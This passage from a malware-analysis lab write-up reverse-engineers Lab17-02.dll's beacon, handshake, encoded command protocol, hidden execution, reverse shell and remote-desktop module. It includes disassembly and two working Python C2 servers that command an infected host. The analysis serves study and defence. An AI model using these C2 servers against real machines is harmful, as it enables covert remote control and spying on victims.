print("[-] No hex data provided.")
return
clean_hex = "".join(hex_input.split())
data = bytes.fromhex(clean_hex)
struct_fmt = "< 8x I 4x I 4x 148s I I I I I 4s I i 4x 32s 260s 32s 12s I I"
struct_size = struct.calcsize(struct_fmt)
if len(data) < struct_size:
print(f"[-] Data too short: {len(data)}/{struct_size} bytes")
return
unpacked = struct.unpack(struct_fmt, data[:struct_size])
(tick, f333, os_raw, proc_speed, phys_mem, phys_avail, drive_cap,
free_space, ip_raw, vram, webcam, host_raw, proc_raw, group_raw,
key_raw, idle, footer_tick) = unpacked
def to_str(binary_data):
return binary_data.split(b'\x00')[0].decode('utf-8', errors='ignore')
major = struct.unpack("<I", os_raw[4:8])[0]
minor = struct.unpack("<I", os_raw[8:12])[0]
sp_string = to_str(os_raw[20:])
print(f"## System Information Extraction")
print("-" * 60)
print(f"{'Field':<25} | {'Value'}")
print("-" * 60)
print(f"{'Internal TickCount':<25} | {tick}")
print(f"{'Magic ID (F333)':<25} | 0x{f333:08X}")
print(f"{'OS Version':<25} | Windows {major}.{minor} ({sp_string})")
print(f"{'Processor Speed':<25} | {proc_speed} MHz")
print(f"{'Total Memory':<25} | {phys_mem / 1024 / 1024:.2f} MB")
print(f"{'Local IP':<25} | {socket.inet_ntoa(ip_raw)}")
print(f"{'Hostname':<25} | {to_str(host_raw)}")
print(f"{'Process Name':<25} | {to_str(proc_raw)}")
print(f"{'Group Info':<25} | {to_str(group_raw)}")
print(f"{'Key/Locale (Hex)':<25} | {key_raw.hex()}")
print(f"{'System Idle Time':<25} | {idle} ms")
print(f"{'Footer Tick (Low 4bits)':<25} | {footer_tick} (Raw EAX: {footer_tick-1 if footer_tick > 0 else 0})")
print("-" * 60)
# Example Usage:
# hex_data = "..."
# parse_malware_struct(hex_data)
Since the malware is sending the data in raw hex, and since we know the structure, we can simply write a python parser for such data and verify it. Having a deterministic layout allows offline decoding of captures without needing to run the sample again.

Once sent, the malware expects a simple handshake procedure with the C2.
lea eax, [esp+68Ch+C2Handshake]
push 44h ; len
push eax ; buf
push edi ; s
call ds:recv
cmp eax, 0FFFFFFFFh
Using recv, it expect a fixed stream length of 68 bytes. If this length is not respected, the received data is ignored. This received data is then compared to the measured and sent tick count +1. Meaning the server once it receives the data and parses it, should reply with the received 4 bytes tick count value incremented. This technique protects against simple replay attacks and makes advanced static analysis necessary. As a note, the server should pad the 4 bytes to reach the requested 68 length. The fixed size also simplifies the parser on the malware side because it does not need to handle variable-length responses.
inc eax
mov dword ptr [esp+688h+responsetick2], eax
...
lea eax, [esp+68Ch+responsetick2]
push 44h ; 'D' ; len
push eax ; buf
push edi ; s
call esi ; send
The malware then completes the handshake by sending this tick count incremented once again by 1. This establishes a simple challenge-response sequence confirming that both sides processed the same session value.

Testing this handshake mechanism on a local C2 python server results in a long response. 68 bytes to be exact. This is a norm the malware is using as part of its custom protocol. Only the first 4 bytes are of relevance. For example here, we first received 10254187, the server replied with 10254188, and the malware sent back 6d779c00. This value is in Little Endian. Once we converted to decimal, we get the expected value 10254189.
.text:10001A8D mov al, [esp+688h+recevedbyte]
.text:10001A91 sub al, byte ptr currtick_low4bits
.text:10001A97 cmp al, 8
.text:10001A99 mov [esp+688h+recevedbyte], al
.text:10001A9D jz short loc_10001AA5
.text:10001A9F mov [esp+esi+688h+constructedCommand], al
.text:10001AA3 jmp short loc_10001AAB
.text:10001AA5 ; ---------------------------------------------------------------------------
.text:10001AA5
.text:10001AA5 loc_10001AA5: ; CODE XREF: sub_10001656+447↑j
.text:10001AA5 dec esi
.text:10001AA6 mov [esp+esi+688h+constructedCommand], bl
.text:10001AAA dec esi
.text:10001AAB
.text:10001AAB loc_10001AAB: ; CODE XREF: sub_10001656+44D↑j
.text:10001AAB cmp al, 10
.text:10001AAD jz short loc_10001ACA
.text:10001AAF cmp al, 13
.text:10001AB1 jz short loc_10001ACA
.text:10001AB3 cmp al, 3
.text:10001AB5 jz short loc_10001ACE
.text:10001AB7 cmp al, bl
.text:10001AB9 jz short loc_10001ABC
.text:10001ABB inc esi
.text:10001ABC
.text:10001ABC loc_10001ABC: ; CODE XREF: sub_10001656+463↑j
.text:10001ABC cmp esi, 0FFh
.text:10001AC2 jl loc_100019F7
.text:10001AC8 jmp short loc_10001ACE
.text:10001ACA ; ---------------------------------------------------------------------------
.text:10001ACA
.text:10001ACA loc_10001ACA: ; CODE XREF: sub_10001656+457↑j
.text:10001ACA ; sub_10001656+45B↑j
.text:10001ACA mov [esp+esi+688h+constructedCommand], bl
The next chunk contains the core malicious logic. The logic enters a loop using esi as a counter. It receives one byte at a time from the C2, and, using that key derived from the tick count, it performs an ASCII shift as a decryption. The C2 must then send these bytes encrypted for the malware to interpret the commands correctly. Because processing is byte-wise, the protocol tolerates slow or fragmented network delivery without needing a full buffered line at once. Once a newline is received (ASCII 10), the constructed string is null terminated and compared against a bunch of possible commands. First of which are simple reconnaissance and quick registry config:
This command executes any command on the victim’s OS. It starts first by acquiring the Explorer.exe process token and using it as Token value it runs CreateProcessAsUserA the command passed as arg. The only difference between this command and the “exeh” is that “exeh” sets the wShowWindow boolean to 0, hiding the execution window.
import socket
import struct
import time
# Format string for the 552-byte beacon (548 struct + 4 footer)
STRUCT_FMT = "< 8x I 4x I 4x 148s I I I I I 4s I i 4x 32s 260s 32s 12s I I"
def to_str(binary_data):
"""Sanitizes null-terminated byte strings."""
return binary_data.split(b'\x00')[0].decode('utf-8', errors='ignore')
def verbose_parse(data):
"""Deep-dives into the 552-byte packet and prints every field."""
unpacked = struct.unpack(STRUCT_FMT, data)
(tick, magic, os_raw, speed, ram, ram_avail, disk, disk_free,
ip_raw, vram, webcam, host_raw, proc_raw, group_raw,
key_raw, idle, footer_seed) = unpacked
major = struct.unpack("<I", os_raw[4:8])[0]
minor = struct.unpack("<I", os_raw[8:12])[0]
sp_string = to_str(os_raw[20:])
print("\n" + "═"*65)
print(f"║ {'[!] INCOMING MALWARE BEACON REPORT':^61} ║")
print("═"*65)
print(f" [>] Magic ID: 0x{magic:08X}")
print(f" [>] Handshake Tick: {tick}")
print(f" [>] Encryption Seed: {footer_seed}")
print("─"*65)
print(f" [+] Hostname: {to_str(host_raw)}")
print(f" [+] OS Version: Windows {major}.{minor} ({sp_string})")
print(f" [+] Processor: {speed} MHz")
print(f" [+] RAM (Total/Avail): {ram/(1024**2):.0f}MB / {ram_avail/(1024**2):.0f}MB")
print(f" [+] Disk (Total/Free): {disk/(1024**3):.2f}GB / {disk_free/(1024**3):.2f}GB")
print(f" [+] Local IP: {socket.inet_ntoa(ip_raw)}")
print(f" [+] Video RAM: {vram} MB")
print(f" [+] Webcam: {'DETECTED' if webcam else 'Not Found'}")
print("─"*65)
print(f" [*] Executable: {to_str(proc_raw)}")
print(f" [*] Group: {to_str(group_raw)}")
print(f" [*] Key: {key_raw.hex()[:8]}...")
print(f" [*] System Idle: {idle} ms")
print("═"*65 + "\n")
return tick, footer_seed
def run_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind(('0.0.0.0', 80))
except PermissionError:
print("[!] ERROR: Port 80 requires sudo/root.")
return
server.listen(1)
print("[*] C2 Server Live. Waiting for bot connections...")
try:
while True:
conn, addr = server.accept()
try:
data = b""
while len(data) < 552:
chunk = conn.recv(552 - len(data))
if not chunk: break
data += chunk
if len(data) < 552:
conn.close()
continue
# Decrypt and display
internal_tick, seed = verbose_parse(data)
# Send Handshake (Tick + 1)
response_val = internal_tick + 1
payload = struct.pack('<I', response_val) + (b'\x00' * 64)
conn.sendall(payload)
# Check for bot's ACK (68 bytes)
conf = conn.recv(68)
if not conf:
print("[-] Bot disconnected after handshake.")
continue
# Interactive Prompt
print(f"[*] Handshake verified. Current Seed: {seed}")
cmd_input = input("C2 PROMPT > ").strip()
if not cmd_input:
cmd_input = "ping"
# Command Obfuscation Logic
if not cmd_input.endswith('\n'):
cmd_input += '\n'
obfuscated_cmd = bytes([(ord(c) + seed) & 0xFF for c in cmd_input])
# Byte-by-byte send for the bot's recv loop
for b in obfuscated_cmd:
conn.send(bytes([b]))
time.sleep(0.01)
print(f"[+] Command {repr(cmd_input.strip())} dispatched.")
except Exception as e:
print(f"[!] Session Error: {e}")
finally:
conn.close()
except KeyboardInterrupt:
print("\n[*] Shutting down.")
finally:
server.close()
if __name__ == "__main__":
run_server()
Using this completed C2 server implementation now, and executing “exen cmd /c notepad” for example, the notepad app starts up.

Along with the notepad window, the cmd window popped up. “exeh” on the other hand wouldn’t display it. The point of stealing the explorer.exe token and using it to run the process achieves stealth since the user won’t be SYSTEM but our machine’s username as displayed in the properties window of the process. Still the fact that a cmd.exe process appears under a normal process such as procexp.exe is still suspicious enough. Token impersonation mainly helps the process blend into the normal user session and inherit the same desktop and privileges as the logged-in account.
This command retrieves the iexplorer.exe full path from the system reg. It then launches a new internet explorer process and loads the page passed as a second argument to the command. “urlh” launches the internet explorer instance without a window. Both steal the explorer.exe token making them appear started by the user.

One usage for this is spamming the user with ads, or using it as a tool to signal that their PC is infected and communicate a ransom.
This command initiates a new connection on the same port starting a full reverse shell. The encoding in this session implements the same logic as the other commands. It first sends the custom struct, only this time, two fields contain information, the rest are garbage values. It sends an encoding key on the same offset which is used to decrypt and encrypt every command sent or output received.
import socket
import sys
import time
def run_c2():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 80))
server.listen(1)
print("[*] C2 Server active. Waiting for bot...")
conn, addr = server.accept()
print(f"[+] Bot connected: {addr}")
# 1. Get the key from the 552-byte struct
initial_data = b''
while len(initial_data) < 552:
chunk = conn.recv(552 - len(initial_data))
if not chunk: break
initial_data += chunk
cmd_key = initial_data[0x214]
print(f"[*] Session Key: {hex(cmd_key)}")
conn.setblocking(False) # Make socket non-blocking for better flow
def decrypt(data):
return "".join([chr((b - cmd_key) & 0xFF) for b in data])
def encrypt(string):
return bytes([(ord(c) + cmd_key) & 0xFF for c in string])
# 2. Main Loop
try:
while True:
# Check for data from bot
try:
raw_resp = conn.recv(8192)
if raw_resp:
print(decrypt(raw_resp), end='', flush=True)
except BlockingIOError:
pass
time.sleep(0.1)
# If the bot is quiet, let's ask for a command.
if sys.stdin in [sys.stdin]: # Check if user is typing
cmd = input()
if cmd.lower() in ['exit', 'quit']: break
# Send command + newline
conn.sendall(encrypt(cmd + "\r\n"))
# Small delay to let the bot process and echo back
time.sleep(0.2)
except KeyboardInterrupt:
print("\n[*] Shutting down...")
finally:
conn.close()
server.close()
if __name__ == "__main__":
run_c2()
A simple python implementation would look like this. First recieve the key, then start using it to decrypt any further recieved streams.

The malware starts by first sending a welcome banner, and then displays the shell line. Any command is then passed to “cmd.exe /c” for stealth. This approach avoids a persistent cmd.exe process on the victim OS making its activity harder to detect because each command is executed in a short-lived context.

Here even tho the session is established and I can send the commands to the victim os, no cmd.exe process appears under the injected process (procexp.exe here).

The malware also accepts multiple other commands, such as uptime, language and enmagic which sends the current sessions’s key. “cd” uses SetCurrentDirectoryA to change where the commands will be executed next.
other than that, the malware accepts a wide variety of other spying commands. One of the heavier commands is the “startxscreen”, which opens a remote desktop session for the attacker.
“StartEXS” (often referred to as Start X-Screen) is the exported function within the malicious DLL that acts as the entry point for the Remote Desktop/Visual Spying module. Instead of running this heavy task inside the main bot process, which could cause the connection to lag or the process to crash, the malware uses rundll32.exe to “spin up” this specific function in a separate process. This provides both functional stability and a layer of stealth, as a casual observer only sees a legitimate Windows system process running. Spawning a separate host process also isolates the main communication thread from the higher CPU and memory usage of continuous screen capture.
push offset port
lea eax, [ebp+Filename]
push offset C2IP
push eax
lea eax, [ebp+Buffer]
push offset aRundll32ExeSSt ; "rundll32.exe %s,StartEXS %s:%s"
push eax ; Buffer
call ds:sprintf
When the malware executes the string rundll32.exe Lab17-02.dll,StartEXS C2IP:PORT, it is telling Windows to load the DLL and jump straight to the code at the StartEXS offset. The arguments following the function name are passed into the function so it knows where to “phone home” with the video data. Using rundll32 also helps the activity blend with legitimate administrative or system behaviors where DLL exports are invoked this way.
Once StartEXS is running, it initializes the Windows Graphics Device Interface (GDI) to “scrape” the desktop. It creates a “Device Context” (DC) for the display, which is essentially a handle that allows the code to read the pixel data of the screen. Because sending raw, uncompressed screenshots over port 80 would be incredibly slow and noisy on a network monitor, the module uses the MPG4 (MPEG-4) compressor. It treats the desktop like a live movie, encoding the changes between frames and streaming them back to the C2 server in a compressed binary format. This approach reduces bandwidth while still providing near real-time visibility of user activity.
In summary, Lab17-02.dll represents a sophisticated piece of malware designed for persistence, stealth, and remote control, leveraging techniques like anti-VM checks, DLL injection, service hijacking, and custom C2 protocols to maintain long-term access on compromised systems. Its modular installation options (InstallRT, SA, SB) allow flexibility in deployment, while features such as encrypted command handling, reverse shells, and remote desktop capabilities make it a potent tool for espionage or further exploitation.